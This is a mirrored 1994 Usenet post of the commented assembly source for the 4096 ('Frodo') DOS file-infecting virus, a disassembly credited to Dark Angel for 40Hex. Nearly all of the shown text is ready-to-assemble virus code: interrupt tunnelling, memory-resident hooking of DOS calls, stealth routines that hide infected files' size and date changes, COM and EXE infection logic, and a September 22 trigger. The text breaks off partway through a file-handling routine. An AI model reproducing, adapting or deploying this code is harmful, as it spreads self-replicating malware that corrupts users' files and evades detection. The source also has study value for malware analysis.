mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
1829 lines
84 KiB
NASM
1829 lines
84 KiB
NASM
From netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:49:56 1994
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Xref: netcom.com alt.comp.virus:485
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Path: netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
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From: clair@myhost.subdomain.domain (The Clairvoyant)
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Newsgroups: alt.comp.virus
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Subject: Frodo source
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Date: 28 Nov 1994 07:47:20 GMT
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Organization: String to put in the Organization Header
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Lines: 1814
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Message-ID: <3bc1u8$mjc@gaia.ucs.orst.edu>
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NNTP-Posting-Host: tempest.rhn.orst.edu
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X-Newsreader: TIN [version 1.2 PL2]
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_4096 segment byte public
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assume cs:_4096, ds:_4096
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; 4096 Virus
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; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
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; Assemble with TASM; the resultant file size is 4081 bytes
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org 0
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startvirus:
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db 0
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jmp installvirus
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oldheader: ; original 1Ch bytes of the carrier file
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retn
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db 75h,02,44h,15h,46h,20h
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db 'Copyright Bourb%}i, I'
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endoldheader:
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EXEflag db 00h
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db 0FEh, 3Ah
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int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
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push bp ; set up stack frame
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mov bp,sp
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push ax
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cmp word ptr [bp+4],0C000h ; in BIOS?
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jnb foundorigint ; nope, haven't found it
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mov ax,cs:DOSsegment ; in DOS?
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cmp [bp+4],ax
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jbe foundorigint
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exitint1:
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pop ax
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pop bp
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iret
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foundorigint:
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cmp byte ptr cs:tracemode,1
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jz tracemode1
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mov ax,[bp+4] ; save segment of entry point
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mov word ptr cs:origints+2,ax
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mov ax,[bp+2] ; save offset of entry point
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mov word ptr cs:origints,ax
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jb finishint1
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pop ax
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pop bp
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mov ss,cs:savess ; restore the stack to its
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mov sp,cs:savesp ; original state
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mov al,cs:saveIMR ; Restore IMR
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out 21h,al ; (enable interrupts)
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jmp setvirusints
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finishint1:
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and word ptr [bp+6],0FEFFh ; turn off trap flag
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mov al,cs:saveIMR ; and restore IMR
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out 21h,al
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jmp short exitint1
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tracemode1:
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dec byte ptr cs:instructionstotrace
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jnz exitint1
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and word ptr [bp+6],0FEFFh ; turn off trap flag
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call saveregs
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call swapvirint21 ; restore original int
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lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
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mov al,1
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call setvect
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call restoreregs
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jmp short finishint1
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getint:
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push ds
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push si
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xor si,si ; clear si
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mov ds,si ; ds->interrupt table
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xor ah,ah ; cbw would be better!?
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mov si,ax
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shl si,1 ; convert int # to offset in
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shl si,1 ; interrupt table (int # x 4)
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mov bx,[si] ; es:bx = interrupt vector
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mov es,[si+2] ; get old interrupt vector
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; save 3 bytes if use les bx,[si]
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pop si
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pop ds
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retn
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installvirus:
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mov word ptr cs:stackptr,offset topstack
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mov cs:initialax,ax ; save initial value for ax
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mov ah,30h ; Get DOS version
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int 21h
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mov cs:DOSversion,al ; Save DOS version
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mov cs:carrierPSP,ds ; Save PSP segment
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mov ah,52h ; Get list of lists
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int 21h
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mov ax,es:[bx-2] ; segment of first MCB
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mov cs:DOSsegment,ax ; save it for use in int 1
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mov es,ax ; es = segment first MCB
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mov ax,es:[1] ; Get owner of first MCB
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mov cs:ownerfirstMCB,ax ; save it
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push cs
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pop ds
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mov al,1 ; get single step vector
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call getint
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mov word ptr ds:oldint1,bx ; save it for later
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mov word ptr ds:oldint1+2,es; restoration
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mov al,21h ; get int 21h vector
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call getint
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mov word ptr ds:origints,bx
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mov word ptr ds:origints+2,es
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mov byte ptr ds:tracemode,0 ; regular trace mode on
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mov dx,offset int1 ; set new int 1 handler
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mov al,1
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call setvect
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pushf
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pop ax
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or ax,100h ; turn on trap flag
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push ax
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in al,21h ; Get old IMR
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mov ds:saveIMR,al
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mov al,0FFh ; disable all interrupts
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out 21h,al
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popf
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mov ah,52h ; Get list of lists
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pushf ; (for tracing purposes)
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call dword ptr ds:origints ; perform the tunnelling
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pushf
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pop ax
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and ax,0FEFFh ; turn off trap flag
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push ax
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popf
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mov al,ds:saveIMR ; reenable interrupts
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out 21h,al
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push ds
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lds dx,dword ptr ds:oldint1
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mov al,1 ; restore int 1 to the
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call setvect ; original handler
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pop ds
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les di,dword ptr ds:origints; set up int 21h handlers
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mov word ptr ds:oldint21,di
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mov word ptr ds:oldint21+2,es
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mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
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mov word ptr ds:int21store,offset otherint21
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mov word ptr ds:int21store+2,cs
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call swapvirint21 ; activate virus in memory
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mov ax,4B00h
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mov ds:checkres,ah ; set resident flag to a
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; dummy value
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mov dx,offset EXEflag+1 ; save EXE flag
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push word ptr ds:EXEflag
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int 21h ; installation check
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; returns checkres=0 if
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; installed
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pop word ptr ds:EXEflag ; restore EXE flag
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add word ptr es:[di-4],9
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nop ; !?
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mov es,ds:carrierPSP ; restore ES and DS to their
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mov ds,ds:carrierPSP ; original values
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sub word ptr ds:[2],(topstack/10h)+1
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; alter top of memory in PSP
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mov bp,ds:[2] ; get segment
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mov dx,ds
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sub bp,dx
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mov ah,4Ah ; Find total available memory
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mov bx,0FFFFh
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int 21h
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mov ah,4Ah ; Allocate all available memory
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int 21h
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dec dx ; go to MCB of virus memory
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mov ds,dx
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cmp byte ptr ds:[0],'Z' ; is it the last block?
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je carrierislastMCB
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dec byte ptr cs:checkres ; mark need to install virus
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carrierislastMCB:
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cmp byte ptr cs:checkres,0 ; need to install?
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je playwithMCBs ; nope, go play with MCBs
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mov byte ptr ds:[0],'M' ; mark not end of chain
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playwithMCBs:
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mov ax,ds:[3] ; get memory size controlled
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mov bx,ax ; by the MCB
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sub ax,(topstack/10h)+1 ; calculate new size
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add dx,ax ; find high memory segment
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mov ds:[3],ax ; put new size in MCB
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inc dx ; one more for the MCB
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mov es,dx ; es->high memory MCB
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mov byte ptr es:[0],'Z' ; mark end of chain
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push word ptr cs:ownerfirstMCB ; get DOS PSP ID
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pop word ptr es:[1] ; make it the owner
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mov word ptr es:[3],160h ; fill in the size field
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inc dx
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mov es,dx ; es->high memory area
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push cs
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pop ds
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mov cx,(topstack/2) ; zopy 0-1600h to high memory
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mov si,offset topstack-2
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mov di,si
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std ; zopy backwards
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rep movsw
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cld
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push es ; set up stack for jmp into
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mov ax,offset highentry ; virus code in high memory
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push ax
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mov es,cs:carrierPSP ; save current PSP segment
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mov ah,4Ah ; Alter memory allocation
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mov bx,bp ; bx = paragraphs
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int 21h
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retf ; jmp to virus code in high
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highentry: ; memory
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call swapvirint21
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mov word ptr cs:int21store+2,cs
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call swapvirint21
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push cs
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pop ds
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mov byte ptr ds:handlesleft,14h ; reset free handles count
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push cs
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pop es
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mov di,offset handletable
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mov cx,14h
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xor ax,ax ; clear handle table
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rep stosw
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mov ds:hideclustercountchange,al ; clear the flag
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mov ax,ds:carrierPSP
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mov es,ax ; es->PSP
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lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
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mov ds,ax ; ds->PSP
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add ax,10h ; adjust for PSP
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add word ptr cs:oldheader+16h,ax ; adjust jmp location
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cmp byte ptr cs:EXEflag,0 ; for PSP
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jne returntoEXE
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returntoCOM:
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sti
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mov ax,word ptr cs:oldheader; restore first 6 bytes of the
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mov ds:[100h],ax ; COM file
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mov ax,word ptr cs:oldheader+2
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mov ds:[102h],ax
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mov ax,word ptr cs:oldheader+4
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mov ds:[104h],ax
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push word ptr cs:carrierPSP ; Segment of carrier file's
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mov ax,100h ; PSP
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push ax
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mov ax,cs:initialax ; restore orig. value of ax
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retf ; return to original COM file
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returntoEXE:
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add word ptr cs:oldheader+0eh,ax
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mov ax,cs:initialax ; Restore ax
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mov ss,word ptr cs:oldheader+0eh ; Restore stack to
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mov sp,word ptr cs:oldheader+10h ; original value
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sti
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jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
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; entry point
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entervirus:
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cmp sp,100h ; COM file?
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ja dont_resetstack ; if so, skip this
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xor sp,sp ; new stack
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dont_resetstack:
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mov bp,ax
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call next ; calculate relativeness
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next:
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pop cx
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sub cx,offset next ; cx = delta offset
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mov ax,cs ; ax = segment
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mov bx,10h ; convert to offset
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mul bx
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add ax,cx
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adc dx,0
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div bx ; convert to seg:off
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push ax ; set up stack for jmp
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mov ax,offset installvirus ; to installvirus
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push ax
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mov ax,bp
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retf ; go to installvirus
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int21commands:
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db 30h ; get DOS version
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dw offset getDOSversion
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db 23h ; FCB get file size
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dw offset FCBgetfilesize
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db 37h ; get device info
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dw offset get_device_info
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db 4Bh ; execute
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dw offset execute
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db 3Ch ; create file w/ handle
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dw offset createhandle
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db 3Dh ; open file
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dw offset openhandle
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db 3Eh ; close file
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dw offset handleclosefile
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db 0Fh ; FCB open file
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dw offset FCBopenfile
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db 14h ; sequential FCB read
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dw offset sequentialFCBread
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db 21h ; random FCB read
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dw offset randomFCBread
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db 27h ; random FCB block read
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dw offset randomFCBblockread
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db 11h ; FCB find first
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dw offset FCBfindfirstnext
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db 12h ; FCB find next
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dw offset FCBfindfirstnext
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db 4Eh ; filename find first
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dw offset filenamefindfirstnext
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db 4Fh ; filename find next
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dw offset filenamefindfirstnext
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db 3Fh ; read
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dw offset handleread
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db 40h ; write
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dw offset handlewrite
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db 42h ; move file pointer
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dw offset handlemovefilepointer
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db 57h ; get/set file time/date
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dw offset getsetfiletimedate
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db 48h ; allocate memory
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dw offset allocatememory
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endcommands:
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otherint21:
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cmp ax,4B00h ; execute?
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jnz notexecute
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mov cs:checkres,al ; clear the resident flag
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notexecute:
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push bp ; set up stack frame
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mov bp,sp
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push [bp+6] ; push old flags
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pop cs:int21flags ; and put in variable
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pop bp ; why?
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push bp ; why?
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mov bp,sp ; set up new stack frame
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call saveregs
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call swapvirint21 ; reenable DOS int 21h handler
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call disableBREAK
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call restoreregs
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call _pushall
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push bx
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mov bx,offset int21commands ; bx->command table
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scanforcommand:
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cmp ah,cs:[bx] ; scan for the function
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jne findnextcommand ; code/subroutine combination
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mov bx,cs:[bx+1]
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xchg bx,[bp-14h]
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cld
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retn
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findnextcommand:
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add bx,3 ; go to next command
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cmp bx,offset endcommands ; in the table until
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jb scanforcommand ; there are no more
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pop bx
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exitotherint21:
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call restoreBREAK
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in al,21h ; save IMR
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mov cs:saveIMR,al
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mov al,0FFh ; disable all interrupts
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out 21h,al
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mov byte ptr cs:instructionstotrace,4 ; trace into
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mov byte ptr cs:tracemode,1 ; oldint21
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call replaceint1 ; set virus int 1 handler
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call _popall
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push ax
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mov ax,cs:int21flags ; get the flags
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or ax,100h ; turn on the trap flag
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push ax ; and set it in motion
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popf
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pop ax
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pop bp
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jmp dword ptr cs:oldint21 ; chain back to original int
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; 21h handler -- do not return
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exitint21:
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call saveregs
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call restoreBREAK
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call swapvirint21
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call restoreregs
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pop bp
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push bp ; set up stack frame
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mov bp,sp
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push word ptr cs:int21flags ; get the flags and put
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pop word ptr [bp+6] ; them on the stack for
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pop bp ; the iret
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iret
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FCBfindfirstnext:
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call _popall
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call callint21
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or al,al ; Found any files?
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jnz exitint21 ; guess not
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call _pushall
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call getdisktransferaddress
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mov al,0
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cmp byte ptr [bx],0FFh ; Extended FCB?
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jne findfirstnextnoextendedFCB
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mov al,[bx+6]
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add bx,7 ; convert to normal FCB
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findfirstnextnoextendedFCB:
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and cs:hide_size,al
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test byte ptr [bx+1Ah],80h ; check year bit for virus
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jz _popall_then_exitint21 ; infection tag. exit if so
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sub byte ptr [bx+1Ah],0C8h ; alter file date
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cmp byte ptr cs:hide_size,0
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jne _popall_then_exitint21
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sub word ptr [bx+1Dh],1000h ; hide file size
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sbb word ptr [bx+1Fh],0
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_popall_then_exitint21:
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call _popall
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jmp short exitint21
|
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FCBopenfile:
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call _popall
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call callint21 ; chain to original int 21h
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call _pushall
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or al,al ; 0 = success
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jnz _popall_then_exitint21
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mov bx,dx
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test byte ptr [bx+15h],80h ; check if infected yet
|
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jz _popall_then_exitint21
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sub byte ptr [bx+15h],0C8h ; restore date
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sub word ptr [bx+10h],1000h ; and hide file size
|
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sbb byte ptr [bx+12h],0
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jmp short _popall_then_exitint21
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|
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randomFCBblockread:
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jcxz go_exitotherint21 ; reading any blocks?
|
||
|
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randomFCBread:
|
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mov bx,dx
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mov si,[bx+21h] ; check if reading first
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or si,[bx+23h] ; bytes
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jnz go_exitotherint21
|
||
jmp short continueFCBread
|
||
|
||
sequentialFCBread:
|
||
mov bx,dx
|
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mov ax,[bx+0Ch] ; check if reading first
|
||
or al,[bx+20h] ; bytes
|
||
jnz go_exitotherint21
|
||
continueFCBread:
|
||
call checkFCBokinfect
|
||
jnc continuecontinueFCBread
|
||
go_exitotherint21:
|
||
jmp exitotherint21
|
||
continuecontinueFCBread:
|
||
call _popall
|
||
call _pushall
|
||
call callint21 ; chain to original handler
|
||
mov [bp-4],ax ; set the return codes
|
||
mov [bp-8],cx ; properly
|
||
push ds ; save FCB pointer
|
||
push dx
|
||
call getdisktransferaddress
|
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cmp word ptr [bx+14h],1 ; check for EXE infection
|
||
je FCBreadinfectedfile ; (IP = 1)
|
||
mov ax,[bx] ; check for COM infection
|
||
add ax,[bx+2] ; (checksum = 0)
|
||
add ax,[bx+4]
|
||
jz FCBreadinfectedfile
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||
add sp,4 ; no infection, no stealth
|
||
jmp short _popall_then_exitint21 ; needed
|
||
FCBreadinfectedfile:
|
||
pop dx ; restore address of the FCB
|
||
pop ds
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||
mov si,dx
|
||
push cs
|
||
pop es
|
||
mov di,offset tempFCB ; copy FCB to temporary one
|
||
mov cx,25h
|
||
rep movsb
|
||
mov di,offset tempFCB
|
||
push cs
|
||
pop ds
|
||
mov ax,[di+10h] ; get old file size
|
||
mov dx,[di+12h]
|
||
add ax,100Fh ; increase by virus size
|
||
adc dx,0 ; and round to the nearest
|
||
and ax,0FFF0h ; paragraph
|
||
mov [di+10h],ax ; insert new file size
|
||
mov [di+12h],dx
|
||
sub ax,0FFCh
|
||
sbb dx,0
|
||
mov [di+21h],ax ; set new random record #
|
||
mov [di+23h],dx
|
||
mov word ptr [di+0Eh],1 ; record size = 1
|
||
mov cx,1Ch
|
||
mov dx,di
|
||
mov ah,27h ; random block read 1Ch bytes
|
||
call callint21
|
||
jmp _popall_then_exitint21
|
||
|
||
FCBgetfilesize:
|
||
push cs
|
||
pop es
|
||
mov si,dx
|
||
mov di,offset tempFCB ; copy FCB to temp buffer
|
||
mov cx,0025h
|
||
repz movsb
|
||
push ds
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
mov dx,offset tempFCB
|
||
mov ah,0Fh ; FCB open file
|
||
call callint21
|
||
mov ah,10h ; FCB close file
|
||
call callint21
|
||
test byte ptr [tempFCB+15h],80h ; check date bit
|
||
pop si
|
||
pop ds
|
||
jz will_exitotherint21 ; exit if not infected
|
||
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
|
||
mov ax,es
|
||
sub bx,1000h ; hide increase
|
||
sbb ax,0
|
||
xor dx,dx
|
||
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
|
||
dec cx
|
||
add bx,cx
|
||
adc ax,0
|
||
inc cx
|
||
div cx
|
||
mov [si+23h],ax ; fix random access record #
|
||
xchg dx,ax
|
||
xchg bx,ax
|
||
div cx
|
||
mov [si+21h],ax ; fix random access record #
|
||
jmp _popall_then_exitint21
|
||
|
||
filenamefindfirstnext:
|
||
and word ptr cs:int21flags,-2 ; turn off trap flag
|
||
call _popall
|
||
call callint21
|
||
call _pushall
|
||
jnb filenamefffnOK ; continue if a file is found
|
||
or word ptr cs:int21flags,1
|
||
jmp _popall_then_exitint21
|
||
|
||
filenamefffnOK:
|
||
call getdisktransferaddress
|
||
test byte ptr [bx+19h],80h ; Check high bit of date
|
||
jnz filenamefffnfileinfected; Bit set if infected
|
||
jmp _popall_then_exitint21
|
||
filenamefffnfileinfected:
|
||
sub word ptr [bx+1Ah],1000h ; hide file length increase
|
||
sbb word ptr [bx+1Ch],0
|
||
sub byte ptr [bx+19h],0C8h ; and date change
|
||
jmp _popall_then_exitint21
|
||
|
||
createhandle:
|
||
push cx
|
||
and cx,7 ; mask the attributes
|
||
cmp cx,7 ; r/o, hidden, & system?
|
||
je exit_create_handle
|
||
pop cx
|
||
call replaceint13and24
|
||
call callint21 ; chain to original int 21h
|
||
call restoreint13and24
|
||
pushf
|
||
cmp byte ptr cs:errorflag,0 ; check if any errors yet
|
||
je no_errors_createhandle
|
||
popf
|
||
will_exitotherint21:
|
||
jmp exitotherint21
|
||
no_errors_createhandle:
|
||
popf
|
||
jc other_error_createhandle; exit on error
|
||
mov bx,ax ; move handle to bx
|
||
mov ah,3Eh ; Close file
|
||
call callint21
|
||
jmp short openhandle
|
||
other_error_createhandle:
|
||
or byte ptr cs:int21flags,1; turn on the trap flag
|
||
mov [bp-4],ax ; set the return code properly
|
||
jmp _popall_then_exitint21
|
||
exit_create_handle:
|
||
pop cx
|
||
jmp exitotherint21
|
||
|
||
openhandle:
|
||
call getcurrentPSP
|
||
call checkdsdxokinfect
|
||
jc jmp_exitotherint21
|
||
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
|
||
je jmp_exitotherint21 ; entry in the table
|
||
call setup_infection ; open the file
|
||
cmp bx,0FFFFh ; error?
|
||
je jmp_exitotherint21 ; if so, exit
|
||
dec byte ptr cs:handlesleft
|
||
push cs
|
||
pop es
|
||
mov di,offset handletable
|
||
mov cx,14h
|
||
xor ax,ax ; find end of the table
|
||
repne scasw
|
||
mov ax,cs:currentPSP ; put the PSP value and the
|
||
mov es:[di-2],ax ; handle # in the table
|
||
mov es:[di+26h],bx
|
||
mov [bp-4],bx ; put handle # in return code
|
||
handleopenclose_exit:
|
||
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
|
||
jmp _popall_then_exitint21
|
||
jmp_exitotherint21:
|
||
jmp exitotherint21
|
||
|
||
handleclosefile:
|
||
push cs
|
||
pop es
|
||
call getcurrentPSP
|
||
mov di,offset handletable
|
||
mov cx,14h ; 14h entries max
|
||
mov ax,cs:currentPSP ; search for calling PSP
|
||
scanhandle_close:
|
||
repne scasw
|
||
jnz handlenotfound ; handle not trapped
|
||
cmp bx,es:[di+26h] ; does the handle correspond?
|
||
jne scanhandle_close ; if not, find another handle
|
||
mov word ptr es:[di-2],0 ; otherwise, clear handle
|
||
call infect_file
|
||
inc byte ptr cs:handlesleft ; fix handles left counter
|
||
jmp short handleopenclose_exit ; and exit
|
||
handlenotfound:
|
||
jmp exitotherint21
|
||
|
||
getdisktransferaddress:
|
||
push es
|
||
mov ah,2Fh ; Get disk transfer address
|
||
call callint21 ; to es:bx
|
||
push es
|
||
pop ds ; mov to ds:bx
|
||
pop es
|
||
retn
|
||
execute:
|
||
or al,al ; load and execute?
|
||
jz loadexecute ; yepper!
|
||
jmp checkloadnoexecute ; otherwise check if
|
||
; load/no execute
|
||
loadexecute:
|
||
push ds ; save filename
|
||
push dx
|
||
mov word ptr cs:parmblock,bx; save parameter block and
|
||
mov word ptr cs:parmblock+2,es; move to ds:si
|
||
lds si,dword ptr cs:parmblock
|
||
mov di,offset copyparmblock ; copy the parameter block
|
||
mov cx,0Eh
|
||
push cs
|
||
pop es
|
||
rep movsb
|
||
pop si ; copy the filename
|
||
pop ds ; to the buffer
|
||
mov di,offset copyfilename
|
||
mov cx,50h
|
||
rep movsb
|
||
mov bx,0FFFFh
|
||
call allocate_memory ; allocate available memory
|
||
call _popall
|
||
pop bp ; save the parameters
|
||
pop word ptr cs:saveoffset ; on the stack
|
||
pop word ptr cs:savesegment
|
||
pop word ptr cs:int21flags
|
||
mov ax,4B01h ; load/no execute
|
||
push cs ; ds:dx -> file name
|
||
pop es ; es:bx -> parameter block
|
||
mov bx,offset copyparmblock
|
||
pushf ; perform interrupt 21h
|
||
call dword ptr cs:oldint21
|
||
jnc continue_loadexecute ; continue if no error
|
||
or word ptr cs:int21flags,1; turn on trap flag
|
||
push word ptr cs:int21flags ; if error
|
||
push word ptr cs:savesegment ; restore stack
|
||
push word ptr cs:saveoffset
|
||
push bp ; restore the stack frame
|
||
mov bp,sp ; and restore ES:BX to
|
||
les bx,dword ptr cs:parmblock ; point to the parameter
|
||
jmp exitint21 ; block
|
||
continue_loadexecute:
|
||
call getcurrentPSP
|
||
push cs
|
||
pop es
|
||
mov di,offset handletable ; scan the handle table
|
||
mov cx,14h ; for the current PSP's
|
||
scanhandle_loadexecute: ; handles
|
||
mov ax,cs:currentPSP
|
||
repne scasw
|
||
jnz loadexecute_checkEXE
|
||
mov word ptr es:[di-2],0 ; clear entry in handle table
|
||
inc byte ptr cs:handlesleft ; fix handlesleft counter
|
||
jmp short scanhandle_loadexecute
|
||
loadexecute_checkEXE:
|
||
lds si,dword ptr cs:origcsip
|
||
cmp si,1 ; Check if EXE infected
|
||
jne loadexecute_checkCOM
|
||
mov dx,word ptr ds:oldheader+16h ; get initial CS
|
||
add dx,10h ; adjust for PSP
|
||
mov ah,51h ; Get current PSP segment
|
||
call callint21
|
||
add dx,bx ;adjust for start load segment
|
||
mov word ptr cs:origcsip+2,dx
|
||
push word ptr ds:oldheader+14h ; save old IP
|
||
pop word ptr cs:origcsip
|
||
add bx,10h ; adjust for the PSP
|
||
add bx,word ptr ds:oldheader+0Eh ; add old SS
|
||
mov cs:origss,bx
|
||
push word ptr ds:oldheader+10h ; old SP
|
||
pop word ptr cs:origsp
|
||
jmp short perform_loadexecute
|
||
loadexecute_checkCOM:
|
||
mov ax,[si] ; Check if COM infected
|
||
add ax,[si+2]
|
||
add ax,[si+4]
|
||
jz loadexecute_doCOM ; exit if already infected
|
||
push cs ; otherwise check to see
|
||
pop ds ; if it is suitable for
|
||
mov dx,offset copyfilename ; infection
|
||
call checkdsdxokinfect
|
||
call setup_infection
|
||
inc byte ptr cs:hideclustercountchange
|
||
call infect_file ; infect the file
|
||
dec byte ptr cs:hideclustercountchange
|
||
perform_loadexecute:
|
||
mov ah,51h ; Get current PSP segment
|
||
call callint21
|
||
call saveregs
|
||
call restoreBREAK
|
||
call swapvirint21
|
||
call restoreregs
|
||
mov ds,bx ; ds = current PSP segment
|
||
mov es,bx ; es = current PSP segment
|
||
push word ptr cs:int21flags ; restore stack parameters
|
||
push word ptr cs:savesegment
|
||
push word ptr cs:saveoffset
|
||
pop word ptr ds:[0Ah] ; Set terminate address in PSP
|
||
pop word ptr ds:[0Ch] ; to return address found on
|
||
; the stack
|
||
; (int 21h caller CS:IP)
|
||
push ds
|
||
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
|
||
mov al,22h ; Set terminate address to it
|
||
call setvect
|
||
pop ds
|
||
popf
|
||
pop ax
|
||
mov ss,cs:origss ; restore the stack
|
||
mov sp,cs:origsp ; and
|
||
jmp dword ptr cs:origcsip ; perform the execute
|
||
|
||
loadexecute_doCOM:
|
||
mov bx,[si+1] ; restore original COM file
|
||
mov ax,word ptr ds:[bx+si-261h]
|
||
mov [si],ax
|
||
mov ax,word ptr ds:[bx+si-25Fh]
|
||
mov [si+2],ax
|
||
mov ax,word ptr ds:[bx+si-25Dh]
|
||
mov [si+4],ax
|
||
jmp short perform_loadexecute
|
||
checkloadnoexecute:
|
||
cmp al,1
|
||
je loadnoexecute
|
||
jmp exitotherint21
|
||
loadnoexecute:
|
||
or word ptr cs:int21flags,1; turn on trap flag
|
||
mov word ptr cs:parmblock,bx; save pointer to parameter
|
||
mov word ptr cs:parmblock+2,es ; block
|
||
call _popall
|
||
call callint21 ; chain to int 21h
|
||
call _pushall
|
||
les bx,dword ptr cs:parmblock ; restore pointer to
|
||
; parameter block
|
||
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
|
||
jc exit_loadnoexecute
|
||
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
||
cmp si,1 ; check for EXE infection
|
||
je loadnoexecute_EXE_already_infected
|
||
; infected if initial IP = 1
|
||
mov ax,[si] ; check for COM infection
|
||
add ax,[si+2] ; infected if checksum = 0
|
||
add ax,[si+4]
|
||
jnz perform_the_execute
|
||
mov bx,[si+1] ; get jmp location
|
||
mov ax,ds:[bx+si-261h] ; restore original COM file
|
||
mov [si],ax
|
||
mov ax,ds:[bx+si-25Fh]
|
||
mov [si+2],ax
|
||
mov ax,ds:[bx+si-25Dh]
|
||
mov [si+4],ax
|
||
jmp short perform_the_execute
|
||
loadnoexecute_EXE_already_infected:
|
||
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
|
||
call getcurrentPSP
|
||
mov cx,cs:currentPSP
|
||
add cx,10h ; adjust for PSP
|
||
add dx,cx
|
||
mov es:[bx+14h],dx ; alter the entry point CS
|
||
mov ax,word ptr ds:oldheader+14h
|
||
mov es:[bx+12h],ax
|
||
mov ax,word ptr ds:oldheader+0Eh ; alter stack
|
||
add ax,cx
|
||
mov es:[bx+10h],ax
|
||
mov ax,word ptr ds:oldheader+10h
|
||
mov es:[bx+0Eh],ax
|
||
perform_the_execute:
|
||
call getcurrentPSP
|
||
mov ds,cs:currentPSP
|
||
mov ax,[bp+2] ; restore length as held in
|
||
mov word ptr ds:oldheader+6,ax
|
||
mov ax,[bp+4] ; the EXE header
|
||
mov word ptr ds:oldheader+8,ax
|
||
exit_loadnoexecute:
|
||
jmp _popall_then_exitint21
|
||
|
||
getDOSversion:
|
||
mov byte ptr cs:hide_size,0
|
||
mov ah,2Ah ; Get date
|
||
call callint21
|
||
cmp dx,916h ; September 22?
|
||
jb exitDOSversion ; leave if not
|
||
call writebootblock ; this is broken
|
||
exitDOSversion:
|
||
jmp exitotherint21
|
||
|
||
infect_file:
|
||
call replaceint13and24
|
||
call findnextparagraphboundary
|
||
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
|
||
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
|
||
je clearlyisanEXE ; EXE header
|
||
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
|
||
je clearlyisanEXE ; EXE header
|
||
dec byte ptr ds:EXEflag ; if neither, assume is a
|
||
jz try_infect_com ; COM file
|
||
clearlyisanEXE:
|
||
mov ax,ds:lengthinpages ; get file size in pages
|
||
shl cx,1 ; and convert it to
|
||
mul cx ; bytes
|
||
add ax,200h ; add 512 bytes
|
||
cmp ax,si
|
||
jb go_exit_infect_file
|
||
mov ax,ds:minmemory ; make sure min and max memory
|
||
or ax,ds:maxmemory ; are not both zero
|
||
jz go_exit_infect_file
|
||
mov ax,ds:filesizelow ; get filesize in dx:ax
|
||
mov dx,ds:filesizehigh
|
||
mov cx,200h ; convert to pages
|
||
div cx
|
||
or dx,dx ; filesize multiple of 512?
|
||
jz filesizemultiple512 ; then don't increment #
|
||
inc ax ; pages
|
||
filesizemultiple512:
|
||
mov ds:lengthinpages,ax ; put in new values for length
|
||
mov ds:lengthMOD512,dx ; fields
|
||
cmp word ptr ds:initialIP,1 ; check if already infected
|
||
je exit_infect_file
|
||
mov word ptr ds:initialIP,1 ; set new entry point
|
||
mov ax,si ; calculate new entry point
|
||
sub ax,ds:headersize ; segment
|
||
mov ds:initialcs,ax ; put this in for cs
|
||
add word ptr ds:lengthinpages,8 ; 4K more
|
||
mov ds:initialSS,ax ; put entry segment in for SS
|
||
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
|
||
call finish_infection
|
||
go_exit_infect_file:
|
||
jmp short exit_infect_file
|
||
try_infect_com:
|
||
cmp si,0F00h ; make sure file is under
|
||
jae exit_infect_file ; F00h paragraphs or else
|
||
; it will be too large once it
|
||
; is infected
|
||
mov ax,ds:readbuffer ; first save first 6 bytes
|
||
mov word ptr ds:oldheader,ax
|
||
add dx,ax
|
||
mov ax,ds:readbuffer+2
|
||
mov word ptr ds:oldheader+2,ax
|
||
add dx,ax
|
||
mov ax,ds:readbuffer+4
|
||
mov word ptr ds:oldheader+4,ax
|
||
add dx,ax ; exit if checksum = 0
|
||
jz exit_infect_file ; since then it is already
|
||
; infected
|
||
mov cl,0E9h ; encode jmp instruction
|
||
mov byte ptr ds:readbuffer,cl
|
||
mov ax,10h ; find file size
|
||
mul si
|
||
add ax,offset entervirus-3 ; calculate offset of jmp
|
||
mov word ptr ds:readbuffer+1,ax ; encode it
|
||
mov ax,ds:readbuffer ; checksum it to 0
|
||
add ax,ds:readbuffer+2
|
||
neg ax
|
||
mov ds:readbuffer+4,ax
|
||
call finish_infection
|
||
exit_infect_file:
|
||
mov ah,3Eh ; Close file
|
||
call callint21
|
||
call restoreint13and24
|
||
retn
|
||
|
||
|
||
findnextparagraphboundary:
|
||
push cs
|
||
pop ds
|
||
mov ax,5700h ; Get file time/date
|
||
call callint21
|
||
mov ds:filetime,cx
|
||
mov ds:filedate,dx
|
||
mov ax,4200h ; Go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ah,3Fh ; Read first 1Ch bytes
|
||
mov cl,1Ch
|
||
mov dx,offset readbuffer
|
||
call callint21
|
||
mov ax,4200h ; Go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ah,3Fh ; Read first 1Ch bytes
|
||
mov cl,1Ch
|
||
mov dx,offset oldheader
|
||
call callint21
|
||
mov ax,4202h ; Go to end of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ds:filesizelow,ax ; save filesize
|
||
mov ds:filesizehigh,dx
|
||
mov di,ax
|
||
add ax,0Fh ; round to nearest paragraph
|
||
adc dx,0 ; boundary
|
||
and ax,0FFF0h
|
||
sub di,ax ; di=# bytes to next paragraph
|
||
